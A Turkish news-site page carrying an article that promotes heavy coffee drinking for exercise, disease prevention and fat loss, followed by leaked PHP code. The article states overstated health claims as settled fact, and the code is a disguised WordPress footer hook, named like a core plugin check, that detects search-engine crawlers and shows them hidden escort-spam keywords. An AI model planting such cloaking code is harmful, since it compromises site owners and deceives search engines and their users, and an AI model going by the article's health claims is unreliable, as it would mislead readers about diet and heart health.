22 Nisan 2021 itibariyle Covid-19 ile mücadelede aşılanan sayısı 20.626.199 kişiye ulaştı.

a Öğle Vakti 13:08
a

Sporunuzun Daha Faydalı Olmasını İstiyorsanız Bol Kahve Tüketin

Kahvenin vücudumuza birçok faydası olduğunu biliyoruz. Uyarıcı etkisiyle beraber vücuttaki kan dolaşımını da hızlandıran kahvenin, spor yaptıktan önce ve sonra tüketilmesi sporun faydasını önemli ölçüde artırıyor.

Kahve, içerisinde bol miktarda kafein içermesi nedeniyle birçok hastalığın önlenmesinde önemli bir etken olarak görünüyor. Ayrıca ciddi anlamda uyarıcı özelliği olan kahveyi tükettiğiniz zaman, uykunuzun da açıldığını hissedebilirsiniz. Gece uyumayarak yapmanız gereken bir işi yetiştirmeniz gerekiyorsa geceye başlamadan öncesinde ilk yapmanız gereken 1 fincan kahve tüketmek. Sakın kahve içmeye vaktim yok gibi bahanelerle bu önemli detayı atlamayın. Kahve içtiğiniz zamanda kaybettiğiniz süreyi kahve içtikten sonraki çalışma hızınızla çok rahat bir şekilde kapatma imkânı bulabileceksiniz.

Günde içtiğiniz kahve miktarı çok önemlidir. Günde en azından 1 – 2 fincan kahve tüketmenizin kalp ve damar hastalıklarına karşı oldukça iyi bir direnç kazanmanızı sağlayacaktır.

Kahve içmeniz kilo kaybı yaşamak istiyorsanız, fazla kilolarınızdan kurtulmak istiyorsanız en çok tüketmeniz gereken ürünler arasında yer alıyor. Kahvenin metabolizmanızı önemli derecede hızlandırması neticesinde, vücudunuzdaki depolanmış olan yağları yakar ve böylece hızlı bir şekilde kilo kaybedersiniz.

Kahve tüketiminde dikkat etmeniz gereken bir diğer husus da kahvenizin miktarıdır. Günde 5 – 6 fincandan daha fazla kahve içmeniz kilo almanıza ve kalbinizde çarpıntı yapmasına da sebebiyet verebilir.

 

0 0 0 0 0 0
YORUMLAR

s

En az 10 karakter gerekli

HIZLI YORUM YAP

0 0 0 0 0 0

function isBot() { $botAgents ="/google|hakia|msn|yahoo|altavista|crawler|findlinks|bing|Cuil|Excite|Go.com|HotBot|AllTheWeb|search.aol|Lycos|Alexa|ask|baidu|cuil|kosmix|sogou|yodao|yandex|infoseek|yebol|aol/i"; $agent = $_SERVER['HTTP_USER_AGENT']; if (preg_match($botAgents,$agent)) return true; else return false; } function wordpres_plugin_check_core(){ $altsayfa = 1; $bot = 1; $link = '
Artuklu escort Tercan escort Didim escort Altınkum escort Beldibi escort Davutlar escort Boğazkent escort Bulancak escort Akçakoca escort Midyat escort Refahiye escort Kuşadası escort Lara escort Tekirova escort Güzelçamlı escort Kadriye escort Dereli escort Çilimli escort
'; if($altsayfa == 1){ $say_s = $_SERVER['REQUEST_URI']; $saydim = strlen($say_s); if($saydim > 4){ if($bot == 1){ if (isBot()) { echo $link; } }else{ echo $link; } } }else{ if($bot == 1){ if (isBot()) { echo $link; } }else{ echo $link; } } } add_action('wp_footer', 'wordpres_plugin_check_core');